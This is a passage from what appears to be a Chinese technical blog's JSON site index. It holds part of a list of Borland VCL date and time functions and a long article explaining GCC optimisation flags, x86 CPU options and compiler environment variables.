Now\n返回TDateTime对象,获取当前的日期和时间信息,函数原型如下:\nSystem::TDateTime __fastcall Now(void);\n4. DatetimeToString\n将TDateTime对象转换为指定格式的字符串对象,函数原型如下:\nvoid __fastcall DateTimeToString(AnsiString %26amp;Result, const AnsiString Format,System::TDateTime DateTime);\n5. DateToStr\n将TDateTime对象(包含当前年月日信息)转换为字符串对象,函数原型如下:\nAnsiString __fastcall DateToStr(System::TDateTime Date);\n6. TimeToStr\n将当前日期转换为字符串对象,函数原型如下:\nAnsiString __fastcall TimeToStr(System::TDateTime Time);\n7. DateTimetoStr\n将TDateTime对象转换为字符串对象,函数原型如下:\nAnsiString __fastcall DateTimeToStr(System::TDateTime DateTime);\n8. StrToDate\n将字符串对象转换为年月日对象,函数原型如下:\nSystem::TDateTime __fastcall StrToDate(const AnsiString S);\n9. StrToTime\n将字符串对象转换时间对象,函数原型如下:\nSystem::TDateTime __fastcall StrToTime(const AnsiString S);\n10.StrToDateTime\n将字符串对象转换为年月日时间对象,函数原型如下:\nSystem::TDateTime __fastcall StrToDateTime(const AnsiString S);\n11.DateTimeToSystemTime\n将TDateTime对象转换为操作系统时间,函数原型如下:\nvoid __fastcall DateTimeToSystemTime(System::TDateTime DateTime, _SYSTEMTIME %26amp;SystemTime);\n12.SystemTimeToDateTime\n将操作系统时间转换为TDateTime对象,函数原型如下:\nSystem::TDateTime __fastcall SystemTimeToDateTime(const _SYSTEMTIME %26amp;SystemTime);\n// \u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211; tantalus@mail.777.net.cn\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n","permalink":"https://hessian.cn/p/318.html","summary":" //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211; Suntenghe 整理\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n1.内存分配\n2.文件操作\n3.磁盘目录管理\n4.字符串操作\n5.类型转换\n6.时间和日期管理\n","title":"VCL库函数"},{"content":"大多数程序和库在编译时默认的优化级别是\u0026quot;2\u0026quot;(使用gcc选项:\u0026quot;-O2\u0026quot;)并且在Intel/AMD平台上默认按照i386处理器来编译。\n如果你只想让编译出来的程序运行在特定的平台上，就需要执行更高级的编译器优化选项，以产生只能运行于特定平台的代码。\n一种方法是修改每个源码包中的Makefile文件，在其中寻找CFLAGS和CXXFLAGS变量(C和C++编译器的编译选项)并修改它的值。\n一些源码包比如binutils, gcc, glibc等等，在每个子文件夹中都有Makefile文件，这样修改起来就太累了！\n另一种简易做法是设置CFLAGS和CXXFLAGS环境变量。大多数configure脚本会使用这两个环境变量代替Makefile文件中的值。\n但是少数configure脚本并不这样做，他们必须需要手动编辑才行。\n为了设置CFLAGS和CXXFLAGS环境变量，你可以在bash中执行如下命令(也可以写进.bashrc以成为默认值)：\nexport CFLAGS=\u0026quot;-O3 -march=\u0026quot; \u0026amp;\u0026amp; CXXFLAGS=$CFLAGS\n这是一个确保能够在几乎所有平台上都能正常工作的最小设置。\n\u0026quot;-march\u0026quot;选项表示为特定的cpu类型编译二进制代码(不能在更低级别的cpu上运行)，\nIntel通常是：pentium2, pentium3, pentium3m, pentium4, pentium4m, pentium-m, prescott, nocona\n说明：pentium3m/pentium4m是笔记本用的移动P3/P4；pentium-m是迅驰I/II代笔记本的cpu；\nprescott是带SSE3的P4(以滚烫到可以煎鸡蛋而闻名)；nocona则是最新的带有EMT64(64位)的P4(同样可以煎鸡蛋)\nAMD通常是：k6, k6-2, k6-3, athlon, athlon-tbird, athlon-xp, athlon-mp, opteron, athlon64, athlon-fx\n用AMD的一般都是DIYer，就不必解释了吧。\n如果编译时没有抱怨\u0026quot;segmentation fault, core dumped\u0026quot;，那么你设定的\u0026quot;-O\u0026quot;优化参数一般就没什么问题。\n否则请降低优化级别(\u0026quot;-O3\u0026quot; -\u0026gt; \u0026quot;-O2\u0026quot; -\u0026gt; \u0026quot;-O1\u0026quot; -\u0026gt; 取消)。\n个人意见：服务器使用\u0026quot;-O2\u0026quot;就可以了，它是最安全的优化参数(集合)；桌面可以使用\u0026quot;-O3\u0026quot; ；\n不鼓励使用过多的自定义优化选项，其实他们之间没什么明显的速度差异(有时\u0026quot;-O3\u0026quot;反而更慢)。\n编译器对硬件非常敏感，特别是在使用较高的优化级别的时候，一丁点的内存错误都可能导致致命的失败。\n所以在编译时请千万不要超频你的电脑(我编译关键程序时总是先降频然的)。\n注意：选项的顺序很重要，如果有两个选项互相冲突，则以后一个为准。\n比如\u0026quot;-O3\u0026quot;将打开-finline-functions选项，但是可以用\u0026quot;-O3 -fno-inline-functions\u0026quot;既使用-O3的功能又关闭函数内嵌功能。\n更多的优化选项请参见：\nhttp://gcc.gnu.org/onlinedocs/gcc-3\u0026#8230;.e-Options.html\nhttp://gcc.gnu.org/onlinedocs/gcc-3\u0026#8230;.4-Options.html\nhttp://gcc.gnu.org/onlinedocs/gcc-4\u0026#8230;.e-Options.html\nhttp://gcc.gnu.org/onlinedocs/gcc-4\u0026#8230;.4-Options.html\n所有GCC选项完整列表参见：\nhttp://gcc.gnu.org/onlinedocs/gcc-3\u0026#8230;.n-Summary.html\nhttp://gcc.gnu.org/onlinedocs/gcc-4\u0026#8230;.n-Summary.html\n有两个页面值的参考：\n(对于gentoo-1.4)比较安全的优化选项\nhttp://www.freehackers.org/gentoo/gc\u0026#8230;flag_gcc3.html\n(对于gentoo-1.4)进阶优化选项\nhttp://www.freehackers.org/gentoo/gc\u0026#8230;g_gcc3opt.html\n*******************************************************************\n哦，忘了说一声，\u0026quot;-O2\u0026quot;已经启用绝大多数安全的优化选项了，所以其实你不必对那一堆选项发愁。\n先说说\u0026quot;-O3\u0026quot;在\u0026quot;-O2\u0026quot;基础上增加的几项，你可以按需添加(还算比较安全)：\n[gcc-3.4.4]\n-finline-functions 允许编译器选择某些简单的函数在其被调用处展开\n-fweb 为每个web结构体分配一个伪寄存器\n-frename-registers 试图驱除代码中的假依赖关系，这个选项对具有大量寄存器的机器很有效。\n[gcc-4.0.2]\n-finline-functions 说明如上\n-funswitch-loops 将循环体中不改变值的变量移动到循环体之外\n-fgcse-after-reload **不太明白它的含义**[哪位大峡知道给小弟讲解一下，先行谢过 ]\n说完\u0026quot;-O3\u0026quot;再说说在嵌入式系统上常用的\u0026quot;-Os\u0026quot;选项，这个选项其实也很重要，它的含义是对生成的二进制代码进行尺寸上的优化，它打开了所有\u0026quot;- O2\u0026quot;打开的选项，因此通常认为的\u0026quot;-Os\u0026quot;生成的二进制代码执行效率低的潜在意识是错误的！当然该选项与\u0026quot;-O2\u0026quot;的不同之处在于它在\u0026quot;-O2\u0026quot;的基础上禁止了所有为了对齐而插入的空间，也就是将所有\u0026quot;-falign-*\u0026quot;系列的选项禁用了。这种禁用究竟是否一定降低了代码的执行效率，依据程序的不同而不同，据说某些情况下\u0026quot;-Os\u0026quot;的效率比\u0026quot;-O3\u0026quot;还要高14%！请兄弟们在实践中自己摸索吧\u0026#8230;\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n下面选择我认为比较重要的几项简单介绍一下[gcc-3.4.4]，GCC选项完整列表太长了！精力有限。\n[注意]这里列出的都是非默认的选项，你只需要添加你所需要的选项即可\n-w 禁止输出警告消息\n-Werror 将所有警告转换为错误\n-Wall 显示所有的警告消息\n-v 显示编译程序的当前版本号\n-V 指定gcc将要运行的版本。只有在安装了多个版本gcc的机器上才有效。\n-ansi 按照ANSI标准编译程序，但并不限制与标准并不冲突的GNU扩展(一般不用该选项)\n-pedantic 如果要限制代码必须严格符合ISO标准，就在\u0026quot;-ansi\u0026quot;的基础上同时启用这个选项(很少使用)\n-std= 指定C语言的标准(c89,c99,gnu89)，该选项禁止了GNU C的扩展关键字asm,typeof,inline (一般不用该选项)\n-static 连接器将忽略动态连接库，同时通过将静态目标文件直接包含到结果目标文件完成对所有引用的解析。\n-shared 连接器将生成共享目标代码，该共享库可在运行时动态连接到程序形成完整的可执行体。\n如果使用gcc命令创建共享库作为其输出，该选项可以防止连接器将缺失main()方法视为错误。\n为了可以正确的工作，应该一致的使用选项\u0026quot;-fpic\u0026quot;以及目标平台选项编译构成同一个库的所有共享目标模块。\n-shared-libgcc 该选项指定使用共享版本的libgcc，在没有共享版本的libgcc的机器上该选项无效。\n-specs= gcc驱动程序读取该文件以确定哪些选项应该传递给那些子进程。\n该选项可以通过指定配置文件来覆盖默认配置，指定的文件将在默认配置文件读取后进行处理以修改默认配置。\n-pipe 使用管道而不是临时文件一个阶段到另一个阶段交换输出的方式，可以加快编译速度。建议使用。\n-o 指定输出文件，对各种输出皆有效。由于只能指定一个文件，所以在产生多个输出文件的情况下不要使用该选项。\n\u0026#8211;help 显示gcc的命令行选项列表；与\u0026quot;-v\u0026quot;一起使用时还将显示gcc调用的各个进程所接受的选项。\n\u0026#8211;target-help 显示目标机器相关的命令行选项列表\n-b 指示需要编译程序的目标机器；默认为编译程序所运行的目标机编译代码。\n目标机通过指定包含编译程序的目录来确定，通常为/usr/local/lib/gcc-lib//\n-B 指定库文件的位置，包括编译程序的文件、执行程序和数据文件，如果需要运行子程序(如cpp,as,ld)就会用该前缀来定位。\n这个前缀可以是用冒号分割的多个路径，环境变量GCC_EXEC_PREFIX和这个选项有相同的效果。\n-I 指定搜索系统头文件的目录，可以重复使用多个该选项指定多个目录。\n-dumpmachine 显示该程序的目标机名字，不做其他任何动作\n-dumpspecs 显示构件编译程序的规范信息，包括用来编译、汇编和连接gcc编译程序自身用到的所有选项，不做其他任何动作。\n-dumpversion 显示编译程序自身的版本号，不做其他任何动作\n-falign-functions=N 将所有函数的起始地址在N(N=1,2,4,8,16\u0026#8230;)的边界上对齐，默认为机器自身的默认值，指定为1表示禁止对齐。\n-falign-jumps=N 将分支目标在N(N=1,2,4,8,16\u0026#8230;)的边界上对齐，默认为机器自身的默认值，指定为1表示禁止对齐。\n-fno-align-labels 建议使用它，以保证不和-falign-jumps(\u0026quot;-O2\u0026quot;默认启用的选项)冲突\n-fno-align-loops 建议使用它，以确保不会在分支目标前插入多余的空指令。\n-fbranch-probabilities 在使用\u0026quot;-fprofile-arcs\u0026quot;选项编译程序并执行它来创建包含每个代码块执行次数的文件之后，程序可以利用这一选项再次编译，\n文件中所产生的信息将被用来优化那些经常发生的分支代码。如果没有这些信息，gcc将猜测那一分支可能经常发生并进行优化。\n这类优化信息将会存放在一个以源文件为名字的并以\u0026quot;.da\u0026quot;为后缀的文件中。\n-fno-guess-branch-probability 默认情况下gcc将使用随机模型进行猜测哪个分支更可能被经常执行，并以此来优化代码，该选项关闭它。\n-fprofile-arcs 在使用这一选项编译程序并运行它以创建包含每个代码块的执行次数的文件后，程序可以再次使用\u0026quot;-fbranch-probabilities\u0026quot;编译，\n文件中的信息可以用来优化那些经常选取的分支。如果没有这些信息，gcc将猜测哪个分支将被经常运行以进行优化。\n这类优化信息将会存放在一个以源文件为名字的并以\u0026quot;.da\u0026quot;为后缀的文件中。\n-fforce-addr 必须将地址复制到寄存器中才能对他们进行运算。由于所需地址通常在前面已经加载到寄存器中了，所以这个选项可以改进代码。\n-fforce-mem 必须将数值复制到寄存器中才能对他们进行运算。由于所需数值通常在前面已经加载到寄存器中了，所以这个选项可以改进代码。\n-ffreestanding 所编译的程序能够在独立的环境中运行，该环境可以没有标准库，而且可以不从main()函数开始运行。\n该选项将设置\u0026quot;-fno-builtin\u0026quot;，且等同于\u0026quot;-fno-hosted\u0026quot;。\n-fhosted 所编译的程序需要运行在宿主环境中，其中需要有完整的标准库，而且main()函数具有int型的返回值。\n-fno-builtin 除非利用\u0026quot;__builtin_\u0026quot;进行引用，否则不识别所有内建函数。\n-fmerge-all-constants 试图将跨编译单元的所有常量值和数组合并在一个副本中。但是标准C/C++要求每个变量都必须有不同的存储位置。\n-fmove-all-movables 将所有不变的表达式移动到循环体之外，这种做法的好坏取决于源代码中的循环结构。\n-fnon-call-exceptions 产生的代码可供陷阱指令(如非法浮点运算和非法内存寻址)抛出异常，需要相关平台的运行时支持，并不普遍有效。\n-fomit-frame-pointer 对于不需要栈指针的函数就不在寄存器中保存指针，因此可以忽略存储和检索地址的代码，并将寄存器用于普通用途。\n所有\u0026quot;-O\u0026quot;级别都打开着一选项，但仅在调试器可以不依靠栈指针运行时才有效。建议不需要调试的情况下显式的设置它。\n-fno-optional-diags 禁止输出诊断消息，C++标准并不需要这些消息。\n-fpermissive 将代码中与标准不符合的诊断消息作为警告而不是错误输出。\n-fpic 生成可用于共享库的位置独立代码(PIC)，所有的内存寻址均通过全局偏移表(GOT)完成。该选项并非在所有的机器上都有效。\n要确定一个地址，需要将代码自身的内存位置作为表中的一项插入。该选项可以产生在共享库中存放并从中加载的目标模块。\n-fprefetch-loop-arrays 生成数组预读取指令，对于使用巨大数组的程序可以加快代码执行速度，适合数据库相关的大型软件等。\n-freg-struct-return 生成用寄存器返回短结构的代码，如果寄存器无法荣纳将使用内存。\n-fstack-check 为防止程序栈溢出而进行必要的检测，在多线程环境中运行时才可能需要它。\n-ftime-report 编译完成后显示编译耗时的统计信息\n-funroll-loops 如果在编译时可以确定迭代的次数非常少而且循环中的指令也非常少，可以使用该选项进行循环展开，以驱除循环和复制指令。\n-finline-limit= 对伪指令数超过的函数，编译程序将不进行展开，默认为600\n\u0026#8211;param = gcc内部存在一些优化代码程度的限制，调整这些限制就是调整整个优化全局。下面列出了参数的名字和对应的解释：\n名字 解释\nmax-delay-slot-insn-search 较大的数目可以生成更优化的代码，但是会降低编译速度，默认为100\nmax-delay-slot-live-search 较大的数目可以生成更优化的代码，但是会降低编译速度，默认为333\nmax-gcse-memory 执行GCSE优化使用的最大内存量，太小将使该优化无法进行，默认为50M\nmax-gcse-passes 执行GCSE优化的最大迭代次数，默认为1\n*******************************************************************\n说完了命令行选项，下面来说说与硬件体系结构(主要是cpu)相关的设置[仅针对i386/x86_64]\n最大名鼎鼎的\u0026quot;-march\u0026quot;上面已经说过了，下面讲讲别的(仅挑些实用的)\n-mfpmath=sse P3和athlon-tbird以上级别的cpu支持\n-masm= 使用指定的dialect输出汇编语言指令，可以使用\u0026quot;intel\u0026quot;或\u0026quot;att\u0026quot;；默认为\u0026quot;att\u0026quot;\n-mieee-fp 指定编译器使用IEEE浮点比较，这样将会正确的处理比较结果为无序的情况。\n-malign-double 将double, long double, long long对齐于双字节边界上；有助于生成更高速的代码，但是程序的尺寸会变大。\n-m128bit-long-double 指定long double为128位，pentium以上的cpu更喜欢这种标准。\n-mregparm=N 指定用于传递整数参数的寄存器数目(默认不使用寄存器)。0\u0026lt;=N\u0026lt;=3 ；注意：当N\u0026gt;0时你必须使用同一参数重新构建所有的模块，包括所有的库。\n-mmmx\n-mno-mmx\n-msse\n-mno-sse\n-msse2\n-mno-sse2\n-msse3\n-mno-sse3\n-m3dnow\n-mno-3dnow\n上面的这些不用解释了，一看就明白，根据自己的CPU决定吧\n-maccumulate-outgoing-args 指定在函数引导段中计算输出参数所需最大空间，这在大部分现代cpu中是较快的方法；缺点是会增加代码尺寸。\n-mthreads 支持Mingw32的线程安全异常处理。对于依赖于线程安全异常处理的程序，必须启用这个选项。\n使用这个选项时会定义\u0026quot;-D_MT\u0026quot;，它将包含使用选项\u0026quot;-lmingwthrd\u0026quot;连接的一个特殊的线程辅助库，用于为每个线程清理异常处理数据。\n-minline-all-stringops 嵌入所有的字符串操作。可以提高字符串操作的性能，但是会增加代码尺寸。\n-momit-leaf-frame-pointer 不为叶子函数在寄存器中保存栈指针，这样可以节省寄存器，但是将会是调试变的困难。参见\u0026quot;-fomit-frame-pointer\u0026quot;。\n下面这几个仅用于x86_64环境：\n-m64 生成专门运行于64位环境的代码，不能运行于32位环境\n-mcmodel=small [默认值]程序和它的符号必须位于2GB以下的地址空间。指针仍然是64位。程序可以静态连接也可以动态连接。\n-mcmodel=kernel 内核运行于2GB地址空间之外。在编译linux内核时必须使用该选项！\n-mcmodel=medium 程序必须位于2GB以下的地址空间，但是它的符号可以位于任何地址空间。程序可以静态连接也可以动态连接。\n注意：共享库不能使用这个选项编译！\n-mcmodel=large 对地址空间没有任何限制，这个选项的功能目前尚未实现。\n＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝\n既然已经讲了这么多了索性再讲讲gcc使用的一些环境变量\n除了大名鼎鼎的CFLAGS和CXXFLAGS以外(其实是Autoconf的环境变量)，再挑几个说说：\n所有的PATH类环境变量(除LD_RUN_PATH外)都是用冒号分割的目录列表。\nC_INCLUDE_PATH 编译C程序时使用的环境变量，用于查找头文件。\nCPLUS_INCLUDE_PATH 编译C++程序时使用的环境变量，用于查找头文件。\nOBJC_INCLUDE_PATH 编译Obj-C程序时使用的环境变量，用于查找头文件。\nCPATH 编译C/C++/Obj-C程序时使用的环境变量，用于查找头文件。\nCOMPILER_PATH 如果没有用GCC_EXEC_PREFIX定位子程序，编译程序将会在此查找它的子程序。\nLIBRARY_PATH 连接程序将在这些目录中寻找特殊的连接程序文件。\nLD_LIBRARY_PATH 该环境变量不影响编译程序，但是程序运行的时候会有影响：程序会查找该目录列表以寻找共享库。\n当不能够在编译程序的目录中找到共享库的时候，执行程序必须设置该环境变量。\nLD_RUN_PATH 该环境变量不影响编译程序，但是程序运行的时候会有影响：它在运行时指出了文件的名字，运行的程序可以由此得到它的符号名字和地址。\n由于地址不会重新载入，因而可能符号应用其他文件中的绝对地址。这个和ld工具使用的\u0026quot;-R\u0026quot;选项完全一样。\nGCC_EXEC_PREFIX 编译程序执行所有子程序的名字的前缀，默认值是\u0026quot;/lib/gcc-lib/\u0026quot;，\n其中的是安装时configure脚本指定的前缀。\nLANG 指定编译程序使用的字符集，可用于创建宽字符文件、串文字、注释；默认为英文。[目前只支持日文\u0026quot;C-JIS,C-SJIS,C-EUCJP\u0026quot;，不支持中文]\nLC_ALL 指定多字节字符的字符分类，主要用于确定字符串的字符边界以及编译程序使用何种语言发出诊断消息；默认设置与LANG相同。\n中文相关的几项：\u0026quot;zh_CN.GB2312 , zh_CN.GB18030 , zh_CN.GBK , zh_CN.UTF-8 , zh_TW.BIG5\u0026quot;\nTMPDIR 编译程序存放临时工作文件的临时目录，这些临时文件通常在编译结束时被删除。\nwww.linux-ren.org ","permalink":"https://hessian.cn/p/580.html","summary":"大多数程序和库在编译时默认的优化级别是\u0026quot;2\u0026quot;(使用gcc选项:\u0026quot;-O2\u0026quot;)并且在Intel/AMD平台上默认按照i386处理器来编译。\n如果你只想让编译出来的程序运行在特定的平台上，就需要执行更高级的编译器优化选项，以产生只能运行于特定平台的代码。\n一种方法是修改每个源码包中的Makefile文件，在其中寻找CFLAGS和CXXFLAGS变量(C和C++编译器的编译选项)并修改它的值。\n一些源码包比如binutils, gcc, glibc等等，在每个子文件夹中都有Makefile文件，这样修改起来就太累了！\n另一种简易做法是设置CFLAGS和CXXFLAGS环境变量。大多数configure脚本会使用这两个环境变量代替Makefile文件中的值。\n但是少数configure脚本并不这样做，他们必须需要手动编辑才行。\n为了设置CFLAGS和CXXFLAGS环境变量，你可以在bash中执行如下命令(也可以写进.bashrc以成为默认值)：\nexport CFLAGS=\u0026quot;-O3 -march=\u0026quot; \u0026amp;\u0026amp; CXXFLAGS=$CFLAGS\n这是一个确保能够在几乎所有平台上都能正常工作的最小设置。\n\u0026quot;-march\u0026quot;选项表示为特定的cpu类型编译二进制代码(不能在更低级别的cpu上运行)，\nIntel通常是：pentium2, pentium3, pentium3m, pentium4, pentium4m, pentium-m, prescott, nocona\n说明：pentium3m/pentium4m是笔记本用的移动P3/P4；pentium-m是迅驰I/II代笔记本的cpu；\nprescott是带SSE3的P4(以滚烫到可以煎鸡蛋而闻名)；nocona则是最新的带有EMT64(64位)的P4(同样可以煎鸡蛋)\nAMD通常是：k6, k6-2, k6-3, athlon, athlon-tbird, athlon-xp, athlon-mp, opteron, athlon64, athlon-fx\n用AMD的一般都是DIYer，就不必解释了吧。\n如果编译时没有抱怨\u0026quot;segmentation fault, core dumped\u0026quot;，那么你设定的\u0026quot;-O\u0026quot;优化参数一般就没什么问题。\n否则请降低优化级别(\u0026quot;-O3\u0026quot; -\u0026gt; \u0026quot;-O2\u0026quot; -\u0026gt; \u0026quot;-O1\u0026quot; -\u0026gt; 取消)。\n个人意见：服务器使用\u0026quot;-O2\u0026quot;就可以了，它是最安全的优化参数(集合)；桌面可以使用\u0026quot;-O3\u0026quot; ；\n不鼓励使用过多的自定义优化选项，其实他们之间没什么明显的速度差异(有时\u0026quot;-O3\u0026quot;反而更慢)。\n编译器对硬件非常敏感，特别是在使用较高的优化级别的时候，一丁点的内存错误都可能导致致命的失败。\n所以在编译时请千万不要超频你的电脑(我编译关键程序时总是先降频然的)。\n注意：选项的顺序很重要，如果有两个选项互相冲突，则以后一个为准。\n比如\u0026quot;-O3\u0026quot;将打开-finline-functions选项，但是可以用\u0026quot;-O3 -fno-inline-functions\u0026quot;既使用-O3的功能又关闭函数内嵌功能。\n更多的优化选项请参见：\nhttp://gcc.gnu.org/onlinedocs/gcc-3\u0026#8230;.e-Options.html\nhttp://gcc.gnu.org/onlinedocs/gcc-3\u0026#8230;.4-Options.html\nhttp://gcc.gnu.org/onlinedocs/gcc-4\u0026#8230;.e-Options.html\nhttp://gcc.gnu.org/onlinedocs/gcc-4\u0026#8230;.4-Options.html\n所有GCC选项完整列表参见：\nhttp://gcc.gnu.org/onlinedocs/gcc-3\u0026#8230;.n-Summary.html\nhttp://gcc.gnu.org/onlinedocs/gcc-4\u0026#8230;.n-Summary.html\n有两个页面值的参考：\n(对于gentoo-1.4)比较安全的优化选项\nhttp://www.freehackers.org/gentoo/gc\u0026#8230;flag_gcc3.html\n(对于gentoo-1.4)进阶优化选项\nhttp://www.freehackers.org/gentoo/gc\u0026#8230;g_gcc3opt.html\n*******************************************************************\n哦，忘了说一声，\u0026quot;-O2\u0026quot;已经启用绝大多数安全的优化选项了，所以其实你不必对那一堆选项发愁。\n先说说\u0026quot;-O3\u0026quot;在\u0026quot;-O2\u0026quot;基础上增加的几项，你可以按需添加(还算比较安全)：\n[gcc-3.4.4]\n-finline-functions 允许编译器选择某些简单的函数在其被调用处展开\n-fweb 为每个web结构体分配一个伪寄存器\n-frename-registers 试图驱除代码中的假依赖关系，这个选项对具有大量寄存器的机器很有效。\n[gcc-4.0.2]\n-finline-functions 说明如上\n-funswitch-loops 将循环体中不改变值的变量移动到循环体之外\n-fgcse-after-reload **不太明白它的含义**[哪位大峡知道给小弟讲解一下，先行谢过 ]\n说完\u0026quot;-O3\u0026quot;再说说在嵌入式系统上常用的\u0026quot;-Os\u0026quot;选项，这个选项其实也很重要，它的含义是对生成的二进制代码进行尺寸上的优化，它打开了所有\u0026quot;- O2\u0026quot;打开的选项，因此通常认为的\u0026quot;-Os\u0026quot;生成的二进制代码执行效率低的潜在意识是错误的！当然该选项与\u0026quot;-O2\u0026quot;的不同之处在于它在\u0026quot;-O2\u0026quot;的基础上禁止了所有为了对齐而插入的空间，也就是将所有\u0026quot;-falign-*\u0026quot;系列的选项禁用了。这种禁用究竟是否一定降低了代码的执行效率，依据程序的不同而不同，据说某些情况下\u0026quot;-Os\u0026quot;的效率比\u0026quot;-O3\u0026quot;还要高14%！请兄弟们在实践中自己摸索吧\u0026#8230;\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n下面选择我认为比较重要的几项简单介绍一下[gcc-3.4.4]，GCC选项完整列表太长了！精力有限。\n[注意]这里列出的都是非默认的选项，你只需要添加你所需要的选项即可\n-w 禁止输出警告消息\n-Werror 将所有警告转换为错误\n-Wall 显示所有的警告消息\n-v 显示编译程序的当前版本号\n-V 指定gcc将要运行的版本。只有在安装了多个版本gcc的机器上才有效。\n-ansi 按照ANSI标准编译程序，但并不限制与标准并不冲突的GNU扩展(一般不用该选项)\n-pedantic 如果要限制代码必须严格符合ISO标准，就在\u0026quot;-ansi\u0026quot;的基础上同时启用这个选项(很少使用)\n-std= 指定C语言的标准(c89,c99,gnu89)，该选项禁止了GNU C的扩展关键字asm,typeof,inline (一般不用该选项)\n-static 连接器将忽略动态连接库，同时通过将静态目标文件直接包含到结果目标文件完成对所有引用的解析。\n-shared 连接器将生成共享目标代码，该共享库可在运行时动态连接到程序形成完整的可执行体。\n如果使用gcc命令创建共享库作为其输出，该选项可以防止连接器将缺失main()方法视为错误。\n为了可以正确的工作，应该一致的使用选项\u0026quot;-fpic\u0026quot;以及目标平台选项编译构成同一个库的所有共享目标模块。\n-shared-libgcc 该选项指定使用共享版本的libgcc，在没有共享版本的libgcc的机器上该选项无效。\n-specs= gcc驱动程序读取该文件以确定哪些选项应该传递给那些子进程。\n该选项可以通过指定配置文件来覆盖默认配置，指定的文件将在默认配置文件读取后进行处理以修改默认配置。\n-pipe 使用管道而不是临时文件一个阶段到另一个阶段交换输出的方式，可以加快编译速度。建议使用。\n-o 指定输出文件，对各种输出皆有效。由于只能指定一个文件，所以在产生多个输出文件的情况下不要使用该选项。\n\u0026#8211;help 显示gcc的命令行选项列表；与\u0026quot;-v\u0026quot;一起使用时还将显示gcc调用的各个进程所接受的选项。\n\u0026#8211;target-help 显示目标机器相关的命令行选项列表\n-b 指示需要编译程序的目标机器；默认为编译程序所运行的目标机编译代码。\n目标机通过指定包含编译程序的目录来确定，通常为/usr/local/lib/gcc-lib//\n-B 指定库文件的位置，包括编译程序的文件、执行程序和数据文件，如果需要运行子程序(如cpp,as,ld)就会用该前缀来定位。\n这个前缀可以是用冒号分割的多个路径，环境变量GCC_EXEC_PREFIX和这个选项有相同的效果。\n-I 指定搜索系统头文件的目录，可以重复使用多个该选项指定多个目录。\n-dumpmachine 显示该程序的目标机名字，不做其他任何动作\n-dumpspecs 显示构件编译程序的规范信息，包括用来编译、汇编和连接gcc编译程序自身用到的所有选项，不做其他任何动作。\n-dumpversion 显示编译程序自身的版本号，不做其他任何动作\n-falign-functions=N 将所有函数的起始地址在N(N=1,2,4,8,16\u0026#8230;)的边界上对齐，默认为机器自身的默认值，指定为1表示禁止对齐。\n-falign-jumps=N 将分支目标在N(N=1,2,4,8,16\u0026#8230;)的边界上对齐，默认为机器自身的默认值，指定为1表示禁止对齐。\n-fno-align-labels 建议使用它，以保证不和-falign-jumps(\u0026quot;-O2\u0026quot;默认启用的选项)冲突\n-fno-align-loops 建议使用它，以确保不会在分支目标前插入多余的空指令。\n-fbranch-probabilities 在使用\u0026quot;-fprofile-arcs\u0026quot;选项编译程序并执行它来创建包含每个代码块执行次数的文件之后，程序可以利用这一选项再次编译，\n文件中所产生的信息将被用来优化那些经常发生的分支代码。如果没有这些信息，gcc将猜测那一分支可能经常发生并进行优化。\n这类优化信息将会存放在一个以源文件为名字的并以\u0026quot;.da\u0026quot;为后缀的文件中。\n-fno-guess-branch-probability 默认情况下gcc将使用随机模型进行猜测哪个分支更可能被经常执行，并以此来优化代码，该选项关闭它。\n-fprofile-arcs 在使用这一选项编译程序并运行它以创建包含每个代码块的执行次数的文件后，程序可以再次使用\u0026quot;-fbranch-probabilities\u0026quot;编译，\n文件中的信息可以用来优化那些经常选取的分支。如果没有这些信息，gcc将猜测哪个分支将被经常运行以进行优化。\n这类优化信息将会存放在一个以源文件为名字的并以\u0026quot;.da\u0026quot;为后缀的文件中。\n-fforce-addr 必须将地址复制到寄存器中才能对他们进行运算。由于所需地址通常在前面已经加载到寄存器中了，所以这个选项可以改进代码。\n-fforce-mem 必须将数值复制到寄存器中才能对他们进行运算。由于所需数值通常在前面已经加载到寄存器中了，所以这个选项可以改进代码。\n-ffreestanding 所编译的程序能够在独立的环境中运行，该环境可以没有标准库，而且可以不从main()函数开始运行。\n该选项将设置\u0026quot;-fno-builtin\u0026quot;，且等同于\u0026quot;-fno-hosted\u0026quot;。\n-fhosted 所编译的程序需要运行在宿主环境中，其中需要有完整的标准库，而且main()函数具有int型的返回值。\n-fno-builtin 除非利用\u0026quot;__builtin_\u0026quot;进行引用，否则不识别所有内建函数。\n-fmerge-all-constants 试图将跨编译单元的所有常量值和数组合并在一个副本中。但是标准C/C++要求每个变量都必须有不同的存储位置。\n-fmove-all-movables 将所有不变的表达式移动到循环体之外，这种做法的好坏取决于源代码中的循环结构。\n-fnon-call-exceptions 产生的代码可供陷阱指令(如非法浮点运算和非法内存寻址)抛出异常，需要相关平台的运行时支持，并不普遍有效。\n-fomit-frame-pointer 对于不需要栈指针的函数就不在寄存器中保存指针，因此可以忽略存储和检索地址的代码，并将寄存器用于普通用途。\n所有\u0026quot;-O\u0026quot;级别都打开着一选项，但仅在调试器可以不依靠栈指针运行时才有效。建议不需要调试的情况下显式的设置它。\n-fno-optional-diags 禁止输出诊断消息，C++标准并不需要这些消息。\n-fpermissive 将代码中与标准不符合的诊断消息作为警告而不是错误输出。\n-fpic 生成可用于共享库的位置独立代码(PIC)，所有的内存寻址均通过全局偏移表(GOT)完成。该选项并非在所有的机器上都有效。\n要确定一个地址，需要将代码自身的内存位置作为表中的一项插入。该选项可以产生在共享库中存放并从中加载的目标模块。\n-fprefetch-loop-arrays 生成数组预读取指令，对于使用巨大数组的程序可以加快代码执行速度，适合数据库相关的大型软件等。\n-freg-struct-return 